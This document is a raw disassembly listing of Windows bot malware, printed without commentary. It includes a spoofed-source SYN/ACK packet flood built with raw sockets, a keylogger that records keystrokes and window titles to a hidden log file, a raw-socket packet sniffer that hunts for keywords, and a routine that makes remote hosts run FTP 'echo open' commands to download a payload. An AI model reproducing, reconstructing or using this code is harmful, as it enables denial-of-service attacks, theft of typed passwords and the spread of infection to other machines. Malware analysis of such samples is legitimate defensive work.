cmp [ebp+var_A8], ebx
jnz short loc_401CFB
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412BD1
add esp, 14h
loc_401CFB: ; CODE XREF: sub_401BD4+102j
lea eax, [ebp+var_440]
push eax
call sub_40B078
push [ebp+var_BC]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_401D1B: ; CODE XREF: sub_401BD4+DFj
lea eax, [ebp+var_23C]
push eax
call dword_43CA64 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_401D8B
lea eax, [ebp+var_440]
push offset dword_4233CC
push eax
call sub_415316
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_401D6B
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412BD1
add esp, 14h
loc_401D6B: ; CODE XREF: sub_401BD4+172j
lea eax, [ebp+var_440]
push eax
call sub_40B078
push [ebp+var_BC]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_401D8B: ; CODE XREF: sub_401BD4+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_43CA24 ; ntohs
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_43CA64 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
jmp loc_401FF3
; ---------------------------------------------------------------------------
loc_401DC8: ; CODE XREF: sub_401BD4+433j
push 28h
mov [ebp+var_2C], 45h
call dword_43CA24 ; ntohs
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_401E21
call sub_415372
mov esi, eax
shl esi, 8
call sub_415372
add esi, eax
shl esi, 8
call sub_415372
add esi, eax
shl esi, 8
call sub_415372
add esi, eax
mov [ebp+var_20], esi
xor esi, esi
inc esi
jmp short loc_401E37
; ---------------------------------------------------------------------------
loc_401E21: ; CODE XREF: sub_401BD4+21Ej
push [ebp+var_240]
call sub_40A08A
pop ecx
push eax
call dword_43CA64 ; inet_addr
mov [ebp+var_20], eax
loc_401E37: ; CODE XREF: sub_401BD4+24Bj
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_401E55
call sub_415372
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_401E5B
; ---------------------------------------------------------------------------
loc_401E55: ; CODE XREF: sub_401BD4+26Fj
push [ebp+var_B8]
loc_401E5B: ; CODE XREF: sub_401BD4+27Fj
call dword_43CA24 ; ntohs
mov [ebp+var_16], ax
call sub_415372
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43CA24 ; ntohs
push 12345678h
mov [ebp+var_18], ax
call dword_43CA20 ; ntohl
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz short loc_401EAB
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_401F07
; ---------------------------------------------------------------------------
loc_401EAB: ; CODE XREF: sub_401BD4+2CCj
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz short loc_401ECB
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_401F07
; ---------------------------------------------------------------------------
loc_401ECB: ; CODE XREF: sub_401BD4+2ECj
lea eax, [ebp+var_1BC]
push offset aRandom ; "random"
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz short loc_401F07
call sub_415372
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_415372
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_401F07: ; CODE XREF: sub_401BD4+2D5j
; sub_401BD4+2F5j ...
push 200h
mov [ebp+var_C], 50h
call dword_43CA24 ; ntohs
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_43CA24 ; ntohs
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4153F0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_4153F0
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40A0E3
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4153F0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_415390
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40A0E3
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4153F0
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_43CA88 ; sendto
cmp eax, 0FFFFFFFFh
jz loc_40209E
inc [ebp+arg_0]
loc_401FF3: ; CODE XREF: sub_401BD4+1EFj
call edi ; GetTickCount
sub eax, [ebp+var_30]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+var_B4]
jbe loc_401DC8
push [ebp+var_4]
call dword_43CABC ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset dword_423358
push eax
call sub_415316
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_40207E
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412BD1
add esp, 14h
loc_40207E: ; CODE XREF: sub_401BD4+485j
lea eax, [ebp+var_440]
push eax
call sub_40B078
push [ebp+var_BC]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_40209E: ; CODE XREF: sub_401BD4+416j
push [ebp+var_4]
call dword_43CABC ; closesocket
call dword_43C9B8 ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset dword_4232F0
lea eax, [ebp+var_440]
push 200h
push eax
call sub_41588A
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_4020FC
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412BD1
add esp, 14h
loc_4020FC: ; CODE XREF: sub_401BD4+503j
lea eax, [ebp+var_440]
push eax
call sub_40B078
push [ebp+var_BC]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_401BD4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40211C proc near ; CODE XREF: sub_4021FB+B4p
; sub_4021FB+247p
var_314 = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
loc_40211F: ; DATA XREF: .text:off_42F640o
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call dword_42105C ; GetLocalTime
lea eax, [ebp+var_114]
push 104h
push eax
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push offset asc_423C48 ; "\\"
push eax
call sub_415A30
lea eax, [ebp+var_114]
push offset dword_42C2C4
push eax
call sub_415A30
lea eax, [ebp+var_114]
push offset aAb ; "ab"
push eax
call sub_415A08
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_402181
inc eax
jmp short loc_4021F8
; ---------------------------------------------------------------------------
loc_402181: ; CODE XREF: sub_40211C+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_4159B6
push esi
call sub_415960
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_4021F6
push [ebp+arg_0]
lea eax, [ebp+var_314]
push offset dword_423C04
push 200h
push eax
call sub_41588A
push 0
lea eax, [ebp+var_314]
push [ebp+arg_8C]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_4]
call sub_412BD1
add esp, 24h
loc_4021F6: ; CODE XREF: sub_40211C+A1j
xor eax, eax
loc_4021F8: ; CODE XREF: sub_40211C+63j
pop esi
leave
retn
sub_40211C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4021FB proc near ; DATA XREF: sub_40CD3A+1D95o
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_4DC = byte ptr -4DCh
var_2DD = byte ptr -2DDh
var_2DC = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call dword_43C9AC ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43C9C0 ; GetWindowTextA
mov ebx, 200h
loc_402256: ; CODE XREF: sub_4021FB+2BBj
push 8
call dword_421060 ; Sleep
call dword_43C9AC ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz short loc_4022DE
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43C9C0 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_4DC]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_415316
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_40211C
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_415390
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_415390
add esp, 0Ch
loc_4022DE: ; CODE XREF: sub_4021FB+6Cj
mov [ebp+arg_0], offset aB ; "b"
loc_4022E5: ; CODE XREF: sub_4021FB+2B1j
push 10h
call dword_43C904 ; GetKeyState
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call dword_43C9F0 ; GetAsyncKeyState
test ah, ah
jns short loc_40237C
push 14h
call dword_43C904 ; GetKeyState
test ax, ax
jz short loc_40232D
cmp esi, 0FFFFFFFFh
jle short loc_40232D
cmp edi, 40h
jle short loc_40232D
cmp edi, 5Bh
jge short loc_40232D
mov [ebp+edi*4+var_8DC], 1
jmp loc_4024A1
; ---------------------------------------------------------------------------
loc_40232D: ; CODE XREF: sub_4021FB+111j
; sub_4021FB+116j ...
push 14h
call dword_43C904 ; GetKeyState
test ax, ax
jz short loc_402358
test esi, esi
jge short loc_40236C
cmp edi, 40h
jle short loc_402358
cmp edi, 5Bh
jge short loc_402358
mov [ebp+edi*4+var_8DC], 2
jmp loc_4024A1
; ---------------------------------------------------------------------------
loc_402358: ; CODE XREF: sub_4021FB+13Dj
; sub_4021FB+146j ...
test esi, esi
jge short loc_40236C
mov [ebp+edi*4+var_8DC], 3
jmp loc_4024A1
; ---------------------------------------------------------------------------
loc_40236C: ; CODE XREF: sub_4021FB+141j
; sub_4021FB+15Fj
mov [ebp+edi*4+var_8DC], 4
jmp loc_4024A1
; ---------------------------------------------------------------------------
loc_40237C: ; CODE XREF: sub_4021FB+104j
lea eax, [ebp+edi*4+var_8DC]
mov esi, [eax]
test esi, esi
jz loc_4024A1
and dword ptr [eax], 0
lea eax, [ebp+var_2DC]
push eax
call sub_415B10
cmp edi, 8
pop ecx
jnz short loc_4023AF
and [ebp+eax+var_2DD], 0
jmp loc_4024A1
; ---------------------------------------------------------------------------
loc_4023AF: ; CODE XREF: sub_4021FB+1A5j
cmp eax, 1B9h
jbe short loc_4023DB
call dword_43C9AC ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43C9C0 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_40241C
; ---------------------------------------------------------------------------
loc_4023DB: ; CODE XREF: sub_4021FB+1B9j
cmp edi, 0Dh
jnz loc_402473
lea eax, [ebp+var_2DC]
push eax
call sub_415B10
test eax, eax
pop ecx
jz loc_4024A1
call dword_43C9AC ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43C9C0 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSReturnS ; "%s (Return) (%s)"
loc_40241C: ; CODE XREF: sub_4021FB+1DEj
lea eax, [ebp+var_4DC]
push eax
call sub_415316
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_40211C
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_415390
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_415390
add esp, 0Ch
jmp short loc_4024A1
; ---------------------------------------------------------------------------
loc_402473: ; CODE XREF: sub_4021FB+1E3j
cmp esi, 1
jz short loc_40248C
cmp esi, 3
jz short loc_40248C
cmp esi, 2
jz short loc_402487
cmp esi, 4
jnz short loc_4024A1
loc_402487: ; CODE XREF: sub_4021FB+285j
push [ebp+arg_0]
jmp short loc_402493
; ---------------------------------------------------------------------------
loc_40248C: ; CODE XREF: sub_4021FB+27Bj
; sub_4021FB+280j
mov eax, [ebp+arg_0]
add eax, 7
push eax
loc_402493: ; CODE XREF: sub_4021FB+28Fj
lea eax, [ebp+var_2DC]
push eax
call sub_415A30
pop ecx
pop ecx
loc_4024A1: ; CODE XREF: sub_4021FB+12Dj
; sub_4021FB+158j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_423BCC
jl loc_4022E5
cmp [ebp+var_4], 0
jz loc_402256
push [ebp+var_D8]
call sub_4150F0
pop ecx
push 0
call dword_421048 ; ExitThread
sub_4021FB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4024D0 proc near ; DATA XREF: sub_40CD3A+1BE7o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_415B90
mov edx, [ebp+arg_0]
push esi
push edi
push 25h
xor eax, eax
pop ecx
mov esi, edx
lea edi, [ebp+var_B4]
inc eax
push 10h
rep movsd
mov [ebp+var_8], eax
mov [edx+90h], eax
xor esi, esi
lea eax, [ebp+var_1C]
push esi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_43CA24 ; ntohs
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40A08A
pop ecx
push eax
call dword_43CA64 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_43CAA4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_4025A5
call dword_43C9B8 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset unk_424650
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402588
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412BD1
add esp, 14h
loc_402588: ; CODE XREF: sub_4024D0+96j
lea eax, [ebp+var_2B4]
push eax
call sub_40B078
push [ebp+var_30]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
loc_4025A5: ; CODE XREF: sub_4024D0+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_441BA4[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_43CA50 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_40262A
call dword_43C9B8 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset unk_424608
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402606
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412BD1
add esp, 14h
loc_402606: ; CODE XREF: sub_4024D0+114j
lea eax, [ebp+var_2B4]
push eax
call sub_40B078
pop ecx
push edi
call dword_43CABC ; closesocket
push [ebp+var_30]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40262A: ; CODE XREF: sub_4024D0+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_43C9D0 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_4026AD
call dword_43C9B8 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset unk_4245B8
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402689
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412BD1
add esp, 14h
loc_402689: ; CODE XREF: sub_4024D0+197j
lea eax, [ebp+var_2B4]
push eax
call sub_40B078
pop ecx
push edi
call dword_43CABC ; closesocket
push [ebp+var_30]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
loc_4026AD: ; CODE XREF: sub_4024D0+177j
push ebx
mov ebx, offset dword_423CA8
loc_4026B3: ; CODE XREF: sub_4024D0+21Cj
; sub_4024D0+22Ej ...
push 0FFFFh
lea eax, [ebp+var_102B4]
push esi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push 0FFFFh
push eax
push edi
call dword_43CA3C ; recv
cmp eax, 0FFFFFFFFh
jz loc_4027C5
cmp [ebp+var_102AB], 6
jnz short loc_4026B3
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_4026B3
lea eax, [ebp+var_1028C]
push offset aPsniff ; "[PSNIFF]"
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4026B3
xor edi, edi
mov eax, ebx
mov [ebp+arg_0], ebx
loc_40271E: ; CODE XREF: sub_4024D0+269j
push eax
lea eax, [ebp+var_1028C]
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402743
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_40271E
loc_40273B: ; CODE XREF: sub_4024D0+2F0j
mov edi, [ebp+var_4]
jmp loc_4026B3
; ---------------------------------------------------------------------------
loc_402743: ; CODE XREF: sub_4024D0+25Fj
lea eax, [ebp+var_1028C]
push eax
push [ebp+var_102A0]
call dword_43C960 ; ntohs
movzx eax, ax
push eax
push [ebp+var_C]
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_423CBC[eax*8]
push off_423C98[eax*4]
lea eax, [ebp+var_2B4]
push offset unk_424560
push 200h
push eax
call sub_41588A
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_4027B3
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412BD1
add esp, 14h
loc_4027B3: ; CODE XREF: sub_4024D0+2C1j
lea eax, [ebp+var_2B4]
push eax
call sub_40B078
pop ecx
jmp loc_40273B
; ---------------------------------------------------------------------------
loc_4027C5: ; CODE XREF: sub_4024D0+20Fj
call dword_43C9B8 ; WSAGetLastError
push eax
push offset unk_424518
lea eax, [ebp+var_2B4]
push 200h
push eax
call sub_41588A
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_40280B
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_412BD1
add esp, 14h
loc_40280B: ; CODE XREF: sub_4024D0+319j
lea eax, [ebp+var_2B4]
push eax
call sub_40B078
pop ecx
push edi
call dword_43CABC ; closesocket
push [ebp+var_30]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
sub_4024D0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40282F proc near ; CODE XREF: sub_40297A+442p
var_5A4 = byte ptr -5A4h
var_1A4 = byte ptr -1A4h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A4h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_14], 2
push eax
call dword_4211DC ; inet_addr
mov [ebp+var_10], eax
mov ax, word_424F98
push eax
call dword_4211E0 ; ntohs
push esi
push 1
push 2
mov [ebp+var_12], ax
call dword_4211E4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jz loc_40294F
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call dword_4211E8 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40294F
push esi
lea eax, [ebp+var_5A4]
push 400h
push eax
push edi
call dword_4211EC ; recv
mov esi, offset byte_42C2B4
mov ebx, 190h
push esi
push esi
push offset aDd_ ; "dd."
push offset aDd ; "dd"
push offset a78789 ; "78789"
push offset byte_46AFFD
push offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s >"...
lea eax, [ebp+var_1A4]
push ebx
push eax
call sub_41588A
add esp, 24h
lea eax, [ebp+var_1A4]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
push edi
mov edi, dword_4211F0
call edi ; send
cmp eax, 0FFFFFFFFh
jz short loc_40294F
push 1F4h
call dword_421060 ; Sleep
push esi
push offset dword_425090
lea eax, [ebp+var_1A4]
push ebx
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_1A4]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1A4]
push eax
push [ebp+var_4]
call edi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_402953
loc_40294F: ; CODE XREF: sub_40282F+54j
; sub_40282F+6Aj ...
xor al, al
jmp short loc_402975
; ---------------------------------------------------------------------------
loc_402953: ; CODE XREF: sub_40282F+11Ej
push 0
lea eax, [ebp+var_5A4]
push 400h
push eax
push [ebp+var_4]
call dword_4211EC ; recv
push [ebp+var_4]
call dword_4211F4 ; closesocket
mov al, 1
loc_402975: ; CODE XREF: sub_40282F+122j
pop edi
pop esi
pop ebx
leave
retn
sub_40282F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40297A proc near ; CODE XREF: sub_402DD1+11Bp
; sub_402DD1+13Dp
var_89B0 = byte ptr -89B0h
var_8948 = byte ptr -8948h
var_68D8 = byte ptr -68D8h
var_6868 = byte ptr -6868h
var_5DA4 = byte ptr -5DA4h
var_4800 = byte ptr -4800h
var_47FF = byte ptr -47FFh
var_376C = byte ptr -376Ch
var_2CA8 = byte ptr -2CA8h
var_2CA7 = byte ptr -2CA7h
var_2CA4 = byte ptr -2CA4h
var_2C28 = byte ptr -2C28h
var_2458 = byte ptr -2458h
var_1FAD = byte ptr -1FADh
var_1CC0 = byte ptr -1CC0h
var_14DC = byte ptr -14DCh
var_14CC = byte ptr -14CCh
var_11A8 = byte ptr -11A8h
var_11A4 = byte ptr -11A4h
var_1198 = byte ptr -1198h
var_F10 = byte ptr -0F10h
var_E70 = byte ptr -0E70h
var_764 = dword ptr -764h
var_754 = byte ptr -754h
var_740 = byte ptr -740h
var_100 = byte ptr -100h
var_FF = byte ptr -0FFh
var_B0 = byte ptr -0B0h
var_AD = byte ptr -0ADh
var_83 = byte ptr -83h
var_81 = byte ptr -81h
var_80 = byte ptr -80h
var_38 = byte ptr -38h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_6 = dword ptr -6
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B0h
call sub_415B90
mov eax, dword_425110
push ebx
mov [ebp+var_10], eax
mov eax, dword_425114
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_38]
push offset loc_425104
push eax
call sub_415316
add esp, 0Ch
xor eax, eax
loc_4029B1: ; CODE XREF: sub_40297A+4Ej
mov cl, [ebp+eax+var_38]
and [ebp+eax*2+var_FF], 0
mov [ebp+eax*2+var_100], cl
inc eax
cmp eax, 28h
jl short loc_4029B1
push 60h
lea eax, [ebp+var_B0]
push offset dword_424B90
push eax
call sub_4153F0
lea eax, [ebp+var_38]
push eax
call sub_415B10
add eax, eax
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
call sub_4153F0
add esp, 1Ch
lea eax, [ebp+var_38]
push 9
push (offset aC+3)
push eax
call sub_415B10
pop ecx
lea eax, [ebp+eax*2+var_81]
push eax
call sub_4153F0
lea eax, [ebp+var_38]
push eax
call sub_415B10
add al, 1Ah
push 1
add al, al
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_AD]
push eax
call sub_4153F0
lea eax, [ebp+var_38]
push eax
call sub_415B10
add al, al
push 1
add al, 9
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_83]
push eax
call sub_4153F0
mov ax, word_424F98
add esp, 2Ch
push eax
call dword_4211E0 ; ntohs
xor eax, 9999h
push 2
mov [ebp+var_6], eax
lea eax, [ebp+var_6]
push eax
push offset dword_424888
call sub_4153F0
add esp, 0Ch
cmp [ebp+arg_C0], 0
jz loc_402B73
mov edi, 0DACh
lea eax, [ebp+var_1CC0]
push edi
push 90h
push eax
call sub_415390
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea ebx, dword_424FD8[eax]
lea eax, [ebp+var_14DC]
push ebx
push eax
call sub_4153F0
mov esi, offset loc_4247D8
push esi
call sub_415B10
push eax
lea eax, [ebp+var_14CC]
push esi
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_11A8]
push offset loc_4250FC
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_11A4]
push ebx
push eax
call sub_4153F0
add esp, 40h
push esi
call sub_415B10
push eax
lea eax, [ebp+var_1198]
push esi
push eax
call sub_4153F0
add esp, 10h
xor eax, eax
loc_402B22: ; CODE XREF: sub_40297A+1C1j
mov cl, [ebp+eax+var_1CC0]
and [ebp+eax*2+var_47FF], 0
mov [ebp+eax*2+var_4800], cl
inc eax
cmp eax, edi
jl short loc_402B22
and [ebp+var_2CA8], 0
and [ebp+var_2CA7], 0
mov esi, 1C52h
lea eax, [ebp+var_89B0]
push esi
push 31h
push eax
call sub_415390
push esi
lea eax, [ebp+var_68D8]
push 31h
push eax
call sub_415390
add esp, 18h
jmp short loc_402BCA
; ---------------------------------------------------------------------------
loc_402B73: ; CODE XREF: sub_40297A+116j
push 7D0h
lea eax, [ebp+var_F10]
push 90h
push eax
call sub_415390
mov esi, offset loc_4247D8
push esi
call sub_415B10
push eax
lea eax, [ebp+var_E70]
push esi
push eax
call sub_4153F0
